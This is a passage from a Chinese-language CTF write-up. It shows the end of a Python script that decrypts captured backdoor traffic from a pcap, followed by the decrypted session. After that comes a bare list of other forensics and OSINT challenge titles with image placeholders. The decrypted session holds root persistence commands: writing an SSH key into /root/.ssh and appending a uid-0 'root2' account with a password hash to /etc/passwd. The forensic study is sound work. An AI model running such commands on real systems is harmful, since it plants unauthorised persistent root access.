# 响应会在新的命令或密钥交换发生时,或在文件结束时打印。

# 处理完所有数据包后,打印任何剩余的累积响应。
if response:
print(f"Response {cmd_count-1}: {response}")

if __name__ == "__main__":
# 如果命令行参数的数量不等于2(脚本名称 + pcap文件),则打印使用说明并退出。
if len(argv) != 2:
print("Usage: python solve.py <pcap_file>")
sys.exit(1)
pcap_file = argv[1] # 从命令行参数中获取PCAP文件路径。
process_pcap(pcap_file) # 调用主处理函数。

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(.venv) PS I:\ipt\cyber\CTF\cryptoLab\cryptohack_noob> python .\linshi.py .\capture.pcap
Processing PCAP file...

Key 0: [218, 10, 222, 224, 208, 62, 4, 234]
Command 0: id
Response 0: uid=0(root) gid=0(root) groups=0(root)

Command 1: mkdir /root/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx+J8mv79rAqohohfdnzJDBS6wfnl1RT0CUeIYqqoWv7VTgiCMmmG7ww4jfWtX4IXb6KN1u
O17Jpfqod0brs3QHgiwpwhGbdurPMGbZwmJaXdCbf69ZTzf1YYn9xv5SxUrlGg9/UAs2QbHPt0rcrv5Y7b47IUodm8H9P6SiVddhGIpRViToBJZ83leGaTMfH2W9moWfMtcNegNmrIc3ObfLa0
/T03Ag2nwjNkoBOwbR/S5wsQYuEufDHNF4eAeWKI+UsRB19yrKOmrsrlnQ831JSiYQ5VCDcchyHW2FqEkf/LK4mBE2Y/u8etAwzgi9dVbO4dhV1cG4JdUE5X/mhphktZM0zy3/i6AstWKalDyU
nKSRkFi+iAm3bj5rg6eZsbWXzoiOQHvIjBtjkTIaneufmLMqj5rNUnOgBI1glAMp5rDewqH5Wga90lddtBDN698ULoIQR+TTe/1fryGcBcKNXiRBfe2fqqK0i9wOY20xu/4tPZAilo/RQxKBXEq5gs=' > /root/.ssh/id_rsa.pub

Command 2: cat /root/.ssh/id_rsa.pub
Response 2: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx+J8mv79rAqohohfdnzJDBS6wfnl1RT0CUeIYqqoWv7VTgiCMmmG7ww4jfWtX4IXb6KN1uO17Jpfqod0brs3QHgiwpwhGbd
urPMGbZwmJaXdCbf69ZTzf1YYn9xv5SxUrlGg9/UAs2QbHPt0rcrv5Y7b47IUodm8H9P6SiVddhGIpRViToBJZ83leGaTMfH2W9moWfMtcNegNmrIc3ObfLa0/T03Ag2nwjNkoBOwbR/S5wsQY
uEufDHNF4eAeWKI+UsRB19yrKOmrsrlnQ831JSiYQ5VCDcchyHW2FqEkf/LK4mBE2Y/u8etAwzgi9dVbO4dhV1cG4JdUE5X/mhphktZM0zy3/i6AstWKalDyUnKSRkFi+iAm3bj5rg6eZsbWXzoiOQHvIjBtjkTIaneufmLMqj5rNUnOgBI1glAMp5rDewqH5Wga90lddtBDN698ULoIQR+TTe/1fryGcBcKNXiRBfe2fqqK0i9wOY20xu/4tPZAilo/RQxKBXEq5gs=

Key 1: [60, 255, 180, 232, 195, 92, 136, 23]
Command 3: openssl passwd pwnt0p14
Response 3: $1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0

Command 4: echo 'root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash' >> /etc/passwd
Command 5: tail -n 1 /etc/passwd
Response 5: root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash

Key 2: [234, 10, 220, 68, 224, 152, 54, 78]
Command 6: pwd
Response 6: /tmp/pwntopia

Command 7: ls -la
Response 7: total 44
drwxr-xr-x 2 root root 4096 Mar 10 17:18 .
drwxrwxrwt 29 root root 16384 Mar 10 17:50 ..
-rwxr-xr-x 1 root root 16880 Mar 10 17:49 pwntopiashl
-rw-r--r-- 1 root root 31 Mar 10 17:18 .secret

Command 8: cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops
Response 8: U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o

Key 3: [86, 61, 147, 112, 107, 227, 197, 77]

在解密后的所有包发出的命令与对应响应中,尤其关注最后一个命令,显然所有加密需要的信息都给定了,只需要在原基础上加-d解密响应中的密文即可: image.png

但是至于为什么可以这样编写脚本解密pcap包,详细的原理还不是特别理解,未完待续。。。

VALidTOR

image.png image.png ThreatNemesis | DroidDungeon - Android Application Analysis

Invaders

image.png image.png

Forensics

Unknown File

image.png

Moshy Moshy

image.png Datamoshing ∣ Yohan Chalier

A515

image.png

3v3ntl0g

image.png

Forensics & Reverse Engineering

Missing Piece

image.png

osint

Tak Tak

image.png image.png

I hear some music…

image.png

A Kidnappanda (1/4)

image.png

What Three Names (2/4)

image.png

Where’s The Bear ? (3/4)

image.png

Whoooo’s whoooo (4/4)

image.png

La foire n’est pas sur le pont

image.png overpass turbo